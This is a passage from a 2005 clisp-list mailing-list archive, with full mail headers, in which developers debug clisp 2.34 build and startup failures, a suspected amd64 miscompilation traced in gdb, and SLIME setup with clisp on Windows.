with gcc 3.3.6, the "make check" fails like > this: > > ;; Loaded file > /local/build/gcc/clisp-2.34/src/tests/compile-file-pathname.fas EQL-OK: T > (COMPILE-FILE-PATHNAME "foo" :OUTPUT-FILE (LOGICAL-PATHNAME "SYS:foo.fas")) > EQUAL-OK: #S(LOGICAL-PATHNAME :HOST "SYS" :DEVICE :UNSPECIFIC :DIRECTORY > (:ABSOLUTE) :NAME "FOO" :TYPE "FAS" :VERSION :NEWEST) > (TRANSLATE-LOGICAL-PATHNAME (LOGICAL-PATHNAME "SYS:FOO.LISP")) > Bus Error I do not have access to such a system. could you please build clisp with debug symbols: $ ./configure --build build-g $ cd build-g $ gdb lisp.run (gdb) boot (gdb) run [1]> (TRANSLATE-LOGICAL-PATHNAME (LOGICAL-PATHNAME "SYS:FOO.LISP")) and send here the stack trace? thanks! (I suggest using the CVS head) > However, my Fibonacci test passed, so I did an install anyway (this > build is on a test system, so no users are affected), but when I try > to run clisp, it fails immediately: > > % clisp > ... > > > *** - invalid byte #x81 in CHARSET:ASCII conversion > The following restarts are available: > ABORT :R1 ABORT see above. > On GNU/Linux IA-32, the "make check" run again ended with > *** - LOAD: A file with name tests.lisp does not exist see above. > *** - invalid byte sequence #xC6 #x72 in CHARSET:UTF-8 conversion see above. > If the clisp builds can be made smoother, I'm in a good position to > thoroughly test the procedures, since I can trivially do parallel > builds in 100+ different environments, and I'll be happy to contribute > in a small way to making clisp better. While I don't have the time to > dig into the code, I certainly can provide feedback, and even complete > build logs, of new releases of clisp. thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k Never let your schooling interfere with your education. From sds@gnu.org Mon Jul 25 16:03:42 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DxBz4-0006u9-BV for clisp-list@lists.sourceforge.net; Mon, 25 Jul 2005 16:03:42 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DxBz0-0007yv-60 for clisp-list@lists.sourceforge.net; Mon, 25 Jul 2005 16:03:42 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6PN3Nnv000590; Mon, 25 Jul 2005 19:03:23 -0400 (EDT) To: clisp-list@lists.sourceforge.net Cc: "Dr. Werner Fink" , Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Sam Steingold's message of "Mon, 25 Jul 2005 11:40:03 -0400") References: <20050725125623.GA29162@g31.suse.de> <20050725140936.GA2202@wotan.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" , Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Several problems with clisp 2.34 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 25 16:04:01 2005 X-Original-Date: Mon, 25 Jul 2005 19:02:42 -0400 > * Sam Steingold [2005-07-25 11:40:03 -0400]: > >> * Dr. Werner Fink [2005-07-25 16:09:36 +0200]: >> >>> > * The clx demos do not work anymore: I see error like >>> >>> > *** - XLIB:DISPLAY-ROOTS: >>> > *** - XLIB:CLOSED-DISPLAY-P: >>> > *** - XLIB:CLOSED-DISPLAY-P: >>> > *** - Unprintable error message >>> > The following restarts are available: >>> > ABORT :R1 ABORT >>> > Break 1 [2]> >>> > >>> > and even if the xlib functions are used direkt: >>> > >>> > new-clx/demos> clisp -K full -q >>> > [1]> (xlib:open-display "boole.suse.de" :display 0) >>> > >>> > *** - XLIB:CLOSED-DISPLAY-P: >>> > *** - XLIB:CLOSED-DISPLAY-P: >>> > *** - XLIB:CLOSED-DISPLAY-P: >>> > *** - Unprintable error message >>> > The following restarts are available: >>> > ABORT :R1 ABORT >>> > Break 1 [2]> >>> > >>> > The display is used over an ssh connection but this >>> > should be not visible for clisp due the Xlib does >>> > this correct. >>> >>> wfm. >>> please try to run under gdb. >>> (./configure --build build-g --with-debug --with-module=clx/???-clx) >> >> I'll try that. > > you may want to try the appended patch. > it will replace the "unprintable error message" with a more meaningful > "XLIB::CLOSED-DISPLAY" error. > > you still need to figure out why the display is invalid. > specifically, set a breakpoint in ensure_living_display() > and examine "fptr" with "xout" and "zout" (see src/.gdbinit). > > I bet this is yet another amd64 alignment problem... OK, I can reproduce this. it appears that gcc (GCC) 3.2.3 20030502 (Red Hat Linux 3.2.3-42) on Linux flume 2.4.21-20.ELsmp #1 SMP Wed Aug 18 20:34:58 EDT 2004 x86_64 x86_64 x86_64 GNU/Linux miscompiles ensure_living_display(): Breakpoint 16, ensure_living_display (objf=0x2a96768300) at clx.f:650 650 object fptr = TheStructure(*objf)->recdata[slot_DISPLAY_FOREIGN_POIN TER]; (gdb) p *objf $1 = 0xa000333d52248 (gdb) n 651 return (fpointerp(fptr) && fp_validp(TheFpointer(fptr)) (gdb) p fptr <<<<----------- this is different from $2 = 0x7f00000000 <<<<----------- the value below (gdb) p TheSrecord_(*objf) $3 = (srecord_ *) 0x333d52248 (gdb) p *TheSrecord_(*objf) $4 = {header = {_GCself = 0xa000333d52248, flags = {2814763521614408}}, rectype = -2 '_', recflags = 0 '\0', reclength = 6, recdata = 0x333d52258} (gdb) p $4.recdata $5 = 0x333d52258 (gdb) p $4.recdata[0] $6 = 0x40000cccde46d0 (gdb) p $4.recdata[1] <<<<<<----------- this is the value $7 = 0xc000333d52288 <<<<<<----------- that fptr should take (gdb) p $4.recdata[2] $8 = 0xc000333d52310 (gdb) p $4.recdata[3] $9 = 0x40000007917c0 (gdb) xout $4.recdata[0] (XLIB::DISPLAY)(void *) 0x40000cccde46d0 (gdb) xout $4.recdata[1] #(void *) 0xc000333d52288 -- Sam Steingold (http://www.podval.org/~sds) running w2k Only the mediocre are always at their best. From jingxian@gmail.com Mon Jul 25 18:44:21 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DxEUX-0007Xi-8G for clisp-list@lists.sourceforge.net; Mon, 25 Jul 2005 18:44:21 -0700 Received: from zproxy.gmail.com ([64.233.162.192]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DxEUW-00008q-4V for clisp-list@lists.sourceforge.net; Mon, 25 Jul 2005 18:44:21 -0700 Received: by zproxy.gmail.com with SMTP id s18so590234nze for ; Mon, 25 Jul 2005 18:44:14 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:from:to:subject:date:mime-version:content-type:content-transfer-encoding:x-priority:x-msmail-priority:x-mailer:x-mimeole; b=l3dawN8ph+yWqJaDMY8bexN94IcDGqyGu1WBvdIPRj21FoU71Cb2WGGPM2XpH8HS732rRc5twqdh13stAqlUloR73eSCyWAXn1YV5BzaWcj6Ls3JYVdZ+LCbR2ohAA1K5VDzo/gC+G5w/dQp7E13kXPoeTilv9qnK+sR0v8Fi9I= Received: by 10.37.20.18 with SMTP id x18mr77087nzi; Mon, 25 Jul 2005 18:44:14 -0700 (PDT) Received: from user03 ([59.57.168.48]) by mx.gmail.com with ESMTP id 22sm3174763nzn.2005.07.25.18.44.09; Mon, 25 Jul 2005 18:44:14 -0700 (PDT) Message-ID: <004801c59183$85d577b0$6700a8c0@user03> From: "Lin Jingxian" To: MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: base64 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1437 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.1 MIME_BASE64_TEXT RAW: Message text disguised using base64 encoding 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Dose slime really support clisp ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 25 18:45:02 2005 X-Original-Date: Tue, 26 Jul 2005 09:44:01 +0800 DQoNCg0KIGhpLA0KICAgIERvZXMgc2xpbWUgcmVhbGx5IHN1cHBvcnQgY2xpc3AgPyBJIGFtIHVz aW5nIHNsaW1lIDEuMi4xIGFuZCBjbGlzcCAyLjMzLjIgZm9yIHdpbmRvd3MuDQogYWZ0ZXIgdXNl IE0teCBzbGltZSA7RW1hY3MgbG9hZHMgc2xpbWUgbW9kZSBhbmQgdGhlIGxhc3QgbWVzc2FnZSBp cyBhcyBmb2xsb3dpbmcgOg0KIA0KID09PT09PT09PT09PT09PT0gY3V0IGhlcmUgPT09PT09PT09 PT09PT09DQogV0FSTklORzoNCiBUaGVzZSBTd2FuayBpbnRlcmZhY2VzIGFyZSB1bmltcGxlbWVu dGVkOg0KICANCiAoQUNUSVZBVEUtU1RFUFBJTkcgQURELUZELUhBTkRMRVIgQURELVNJR0lPLUhB TkRMRVIgQUxMLVRIUkVBRFMgQ0FMTFMtV0hPDQogIERJU0FTU0VNQkxFLUZSQU1FIEZJTkQtVEhS RUFEIEdFVFBJRCBJTlNQRUNULUZPUi1FTUFDUyBJTlRFUlJVUFQtVEhSRUFEDQogIFJFQ0VJVkUg UkVNT1ZFLUZELUhBTkRMRVJTIFJFTU9WRS1TSUdJTy1IQU5ETEVSUyBTRU5EIFNMREItQlJFQUst QVQtU1RBUlQNCiAgU0xEQi1CUkVBSy1PTi1SRVRVUk4gU1BBV04gVEhSRUFELUlEIFRPR0dMRS1U UkFDRSBXSE8tTUFDUk9FWFBBTkRTDQogIFdITy1TUEVDSUFMSVpFUykNCiA7OyBMb2FkZWQgZmls ZSBFOlxzbGltZS0xLjIuMVxzd2Fuay1sb2FkZXIubGlzcA0KIFQNCiBbMl0+IA0KID09PT09IGN1 dCBoZXJlIGhlcmUgPT09PT09PT09PT09PT09PT09PT0NCiANCiBJIGtub3cgaW4gTWFjIE9TIFgs IGxvYWRpbmcgc2xpbWUgbW9kZSB3aWxsIGdpdmUgY2wtdXNlciBwcm9tcHQgYW5kIHNsaW1lIG1l bnUgd291bGQgYXBwZWFyLiBCdXQgc2VlbXMgdGhhdCB0aGlzIGlzIG5vdCB3aXRoIGNsaXNwIGZv ciB3aW5kb3dzLiBjYW4gc29tZWJvZHkgdGVsbCBtZSB3aGF0DQogSSBhbSBkb2luZyB3cm9uZyA/ IHRoYW5rcy4NCiA= From michael.campbell@gmail.com Mon Jul 25 20:53:42 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DxGVh-00042m-MQ for clisp-list@lists.sourceforge.net; Mon, 25 Jul 2005 20:53:41 -0700 Received: from zproxy.gmail.com ([64.233.162.195]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DxGVf-0005Ma-L0 for clisp-list@lists.sourceforge.net; Mon, 25 Jul 2005 20:53:41 -0700 Received: by zproxy.gmail.com with SMTP id s18so604557nze for ; Mon, 25 Jul 2005 20:53:31 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=C9tSgrtf+Ki131x8tkhZn1cdndBNDYedGbAcHbJdJwjeK0Mqo+GbuIbJBtB8lnurynVT+J7NBrOHQzfYnl8vn+veYBTClwxc8v5pGackHTFdoL2XDgLkae5KfyRDvLHq12H4sCxyKwUCDC9u1iKA6HFwc3C5Cjhn1VcWoy0GTu4= Received: by 10.37.20.18 with SMTP id x18mr170526nzi; Mon, 25 Jul 2005 20:53:31 -0700 (PDT) Received: by 10.36.56.9 with HTTP; Mon, 25 Jul 2005 20:53:31 -0700 (PDT) Message-ID: <811f2f1c05072520537452e716@mail.gmail.com> From: Michael Campbell Reply-To: Michael Campbell To: Lin Jingxian Subject: Re: [clisp-list] Dose slime really support clisp ? Cc: clisp-list@lists.sourceforge.net In-Reply-To: <004801c59183$85d577b0$6700a8c0@user03> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <004801c59183$85d577b0$6700a8c0@user03> X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.2 UPPERCASE_25_50 message body is 25-50% uppercase 0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 25 20:54:02 2005 X-Original-Date: Mon, 25 Jul 2005 23:53:31 -0400 On 7/25/05, Lin Jingxian wrote: >=20 >=20 >=20 > hi, > Does slime really support clisp ? I am using slime 1.2.1 and clisp 2.= 33.2 for windows. > after use M-x slime ;Emacs loads slime mode and the last message is as f= ollowing : >=20 > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D cut here =3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > WARNING: > These Swank interfaces are unimplemented: >=20 > (ACTIVATE-STEPPING ADD-FD-HANDLER ADD-SIGIO-HANDLER ALL-THREADS CALLS-WH= O > DISASSEMBLE-FRAME FIND-THREAD GETPID INSPECT-FOR-EMACS INTERRUPT-THREAD > RECEIVE REMOVE-FD-HANDLERS REMOVE-SIGIO-HANDLERS SEND SLDB-BREAK-AT-STA= RT > SLDB-BREAK-ON-RETURN SPAWN THREAD-ID TOGGLE-TRACE WHO-MACROEXPANDS > WHO-SPECIALIZES) > ;; Loaded file E:\slime-1.2.1\swank-loader.lisp > T I'm getting exactly the same issue. This entry (http://bc.tech.coop/blog/040303.html) seems to indicate it IS possible. What did you set your inferior-lisp-program to? I just copied what was in the shortcut that clisp provides; namely: (setq inferior-lisp-program "d:/clisp-2.33.2/base/lisp.exe -B D:/clisp-2.33.2/ -M D:/clisp-2.33.2/base/lispinit.mem") which is what got me that far. From michael.campbell@gmail.com Mon Jul 25 21:02:25 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DxGe6-0004Ol-L5 for clisp-list@lists.sourceforge.net; Mon, 25 Jul 2005 21:02:22 -0700 Received: from zproxy.gmail.com ([64.233.162.200]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DxGe4-00070N-E4 for clisp-list@lists.sourceforge.net; Mon, 25 Jul 2005 21:02:22 -0700 Received: by zproxy.gmail.com with SMTP id s18so605594nze for ; Mon, 25 Jul 2005 21:02:14 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=OxTR47qNHSx+aUgke8zByKy9q32xGoW0qyIuEfJ2wfy3zr/G/DqXG2fogV0engEKfkgHh68AIBTbp50xMpF2ae0t5wjUcnfKhQtHvVy6XxUutx0hsCukVaJ3Kwk2j5nch+6Kc3upDPgg1b5Qcu3dc+1wJ73V2hvsMor7aOI+/KA= Received: by 10.36.8.12 with SMTP id 12mr2757155nzh; Mon, 25 Jul 2005 21:02:14 -0700 (PDT) Received: by 10.36.56.9 with HTTP; Mon, 25 Jul 2005 21:02:12 -0700 (PDT) Message-ID: <811f2f1c0507252102330f68b9@mail.gmail.com> From: Michael Campbell Reply-To: Michael Campbell To: Lin Jingxian Subject: Re: [clisp-list] Dose slime really support clisp ? Cc: clisp-list@lists.sourceforge.net In-Reply-To: <811f2f1c05072520537452e716@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <004801c59183$85d577b0$6700a8c0@user03> <811f2f1c05072520537452e716@mail.gmail.com> X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.2 UPPERCASE_25_50 message body is 25-50% uppercase 0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 25 21:03:01 2005 X-Original-Date: Tue, 26 Jul 2005 00:02:12 -0400 On 7/25/05, Michael Campbell wrote: > On 7/25/05, Lin Jingxian wrote: > > > > > > > > hi, > > Does slime really support clisp ? I am using slime 1.2.1 and clisp = 2.33.2 for windows. > > after use M-x slime ;Emacs loads slime mode and the last message is as= following : > > > > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D cut here =3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > > WARNING: > > These Swank interfaces are unimplemented: > > > > (ACTIVATE-STEPPING ADD-FD-HANDLER ADD-SIGIO-HANDLER ALL-THREADS CALLS-= WHO > > DISASSEMBLE-FRAME FIND-THREAD GETPID INSPECT-FOR-EMACS INTERRUPT-THRE= AD > > RECEIVE REMOVE-FD-HANDLERS REMOVE-SIGIO-HANDLERS SEND SLDB-BREAK-AT-S= TART > > SLDB-BREAK-ON-RETURN SPAWN THREAD-ID TOGGLE-TRACE WHO-MACROEXPANDS > > WHO-SPECIALIZES) > > ;; Loaded file E:\slime-1.2.1\swank-loader.lisp > > T >=20 >=20 > I'm getting exactly the same issue. >=20 > This entry (http://bc.tech.coop/blog/040303.html) seems to indicate it > IS possible. >=20 > What did you set your inferior-lisp-program to? I just copied what > was in the shortcut that clisp provides; namely: >=20 > (setq inferior-lisp-program "d:/clisp-2.33.2/base/lisp.exe -B > D:/clisp-2.33.2/ -M D:/clisp-2.33.2/base/lispinit.mem") >=20 > which is what got me that far. Ok, I hate to reply to my own post, but the following blog entry's instructions worked for me (with appropriate substitutions of paths, etc.): http://bc.tech.coop/blog/040306.html --=20 I tend to view "truly flexible" by another term: "Make everything equally hard". -- DHH From Joerg-Cyril.Hoehle@t-systems.com Tue Jul 26 05:30:14 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DxOZZ-0007ca-Er for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 05:30:13 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DxOZY-0004m6-Sn for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 05:30:13 -0700 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Tue, 26 Jul 2005 14:30:20 +0200 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 26 Jul 2005 14:30:01 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A030529878B@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: jingxian@gmail.com Subject: [clisp-list] Dose slime really support clisp ? MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="windows-1252" Content-Transfer-Encoding: quoted-printable X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 26 05:31:02 2005 X-Original-Date: Tue, 26 Jul 2005 14:29:59 +0200 Lin Jingxian wonders: > Does slime really support clisp ? Yes. Although I don't know whether clisp-2.33.2 works out of the box. > WARNING: These Swank interfaces are unimplemented: [long list elided] This just means that people could contribute code e.g. to step through = code. OTOH just ignore all missing interfaces about threads, there are = no threads yet (trying to contribute them is a grade>=3D**** exercise). My .emacs (GNU Emacs-20.7) has the following. (setq slime-path (file-name-directory = "d:/hoehle/Code/Lisp/slime-1.2.1/")) ; http://common-lisp.net/pipermail/slime-devel/2004-October/002512.html (autoload 'slime-connect "slime" nil t) (autoload 'slime "slime" nil t) (autoload 'slime-selector "slime" "Select a SLIME buffer" t) (global-set-key "\^Cs" 'slime-selector) ;(load"d:/hoehle/Code/Lisp/slime-1.2.1/swank-loader.lisp") ;(swank:create-server) ;M-x (slime-connect) ;M-TAB slime-complete-symbol e.g. *p-p or m-v-b ;C-c M-i slime-fuzzy-complete-symbol I usually start a Lisp in the classic inferior-lisp-mode as follows, = and load silme afterwards. (defvar lisp-program-choices '()) (setq lisp-program-choices '(("jscheme" . "java -cp h:/sspace/archive/jscheme.jar jscheme.REPL") ("xquery" . "java -jar = c:/Programme/Jakarta/jakarta-tomcat-3.3.1/webapps/KBA-NCA/WEB-INF/lib/ka= wa-1.7.jar --xquery") ("kawa" . "java -classpath = c:/Programme/Jakarta/jakarta-tomcat-3.3.1/webapps/KBA-NCA/WEB-INF/lib/ka= wa-1.7.jar kawa.repl") ("Corman" . "C:\\Programme\\CORMAN~1.0\\clconsole.exe") ("clisp-cvs-base" . "S:\\src\\CVS\\clisp\\build-msvc\\lisp.exe -M = S:\\src\\CVS\\clisp\\build-msvc\\lispinit.mem -Efile UTF-8 -Eterminal = ISO-8859-1") )) (defun choose-lisp (program) (interactive (list (cdr (assoc (completing-read "Run Lisp: " lisp-program-choices = nil t) lisp-program-choices)))) (run-lisp program)) OTOH, I could just start SLIME directly -- I just tested it now. You could replace (run-lisp ...) with (slime ...) to choose among = several Lisps. Then clisp starts up as follows: ; CLISP Port: 3957 Pid: nil CL-USER>=20 Pid: nil means that ^C will not work. You better get the CVS version of = slime, where I contributed some patches. Pid will then show a number, = and if you started lisp.exe directly (not via clisp.exe), ^C will work. Since you're likely to use some asian character encoding, I urge you to = use the -Efile/terminal/xyz options of clisp to match your Emacs = settings and tastes, so that you can make use of non-ASCII characters. *inferior-lisp* contains: [1]>=20 ;; Loading file D:\hoehle\Code\Lisp\slime-1.2.1\swank-loader.lisp ... ;; Compiling file D:\hoehle\Code\Lisp\slime-1.2.1\swank-backend.lisp = ... ;; Wrote file = D:\hoehle\.slime\fasl\clisp-2.34-win32-pc386\swank-backend.fas ;; Loading file = D:\hoehle\.slime\fasl\clisp-2.34-win32-pc386\swank-backend.fas [...] ;; Loaded file D:\hoehle\.slime\fasl\clisp-2.34-win32-pc386\swank.fas The following functions were used but are deprecated: SET - This function name is anachronistic. Use SETF SYMBOL-VALUE = instead. 0 errors, 0 warnings WARNING: These Swank interfaces are unimplemented: (ACTIVATE-STEPPING ADD-FD-HANDLER ADD-SIGIO-HANDLER = ALL-THREADS CALLS-WHO DISASSEMBLE-FRAME FIND-THREAD GETPID INSPECT-FOR-EMACS INTERRUPT-THREAD RECEIVE REMOVE-FD-HANDLERS REMOVE-SIGIO-HANDLERS SEND SLDB-BREAK-AT-START SLDB-BREAK-ON-RETURN SPAWN THREAD-ID TOGGLE-TRACE = WHO-MACROEXPANDS WHO-SPECIALIZES) ;; Loaded file D:\hoehle\Code\Lisp\slime-1.2.1\swank-loader.lisp T [2]>=20 ;; Swank started at port: 3957. [this is the output from an unmodified slime-1.2.1] Regards, J=F6rg H=F6hle From sds@gnu.org Tue Jul 26 06:24:28 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DxPQ4-0001pk-Nb for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 06:24:28 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DxPQ1-00037e-3f for clisp-list@lists.sourceforge.net; Tue, 26 Jul 2005 06:24:28 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6QDO6qv019842; Tue, 26 Jul 2005 09:24:06 -0400 (EDT) To: "Nelson H. F. Beebe" Cc: clisp-list@lists.sourceforge.net, Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Nelson H. F. Beebe's message of "Tue, 26 Jul 2005 06:48:33 -0600 (MDT)") References: Mail-Followup-To: "Nelson H. F. Beebe" , clisp-list@lists.sourceforge.net, Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp-2.34 build comments Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 26 06:25:03 2005 X-Original-Date: Tue, 26 Jul 2005 09:23:26 -0400 > * Nelson H. F. Beebe [2005-07-26 06:48:33 -0600]: > > Sam Steingold responds to my problem report for > clisp-2.34 on GNU/Linux (Red Hat Enterprise Server 4) on AMD64: > >>> ... >>> > I then tried to start clisp manually, but it immediately fails: >>> > >>> > % clisp >>> ... >>> > > *** - invalid byte #x81 in CHARSET:ASCII conversion >>> > The following restarts are available: >>> > ABORT :R1 ABORT >>> > Break 1 [2]> >>> >>> . >>> you probably have non-ASCII symbols in pathnames. >>> try "clisp -E foo" >>> where foo is the encoding you use for pathnames. >>> ... > > I did a "strace -o foo -f clisp", and then looked at the system-call > trace. None of the file that are opened have any non-ASCII symbols in > their pathnames (such files would be rare to nonexistant anyway at my > site). > >>From the trace, it looks like /etc/inputrc was being processed > at the point of error: > > 32444 stat("/etc/inputrc", {st_mode=S_IFREG|0644, st_size=758, ...}) = 0 > 32444 open("/etc/inputrc", O_RDONLY) = 5 > 32444 read(5, "# do not bell on tab-completion\n"..., 758) = 758 > 32444 close(5) = 0 > > It read the entire file with one read() call. There are no non-ASCII > characters inside that file. > > I then tried alternate encodings: > > % clisp -E UTF-8 > *** - invalid byte sequence #xC6 #x72 in CHARSET:UTF-8 conversion > The following restarts are available: > ABORT :R1 ABORT > Break 1 [2]> I wonder what CLISP is doing here... please type :bt1 here - you will get the Lisp STACK. maybe you could run this under GDB too? > Thus, a temporary workaround to the startup problem is to use > -E ISO-8859-1. according to you can also set environment variable LC_ALL. Thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k Shady characters are often very bright. From sds@gnu.org Tue Jul 26 06:32:04 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DxPXQ-0002CE-Lp for 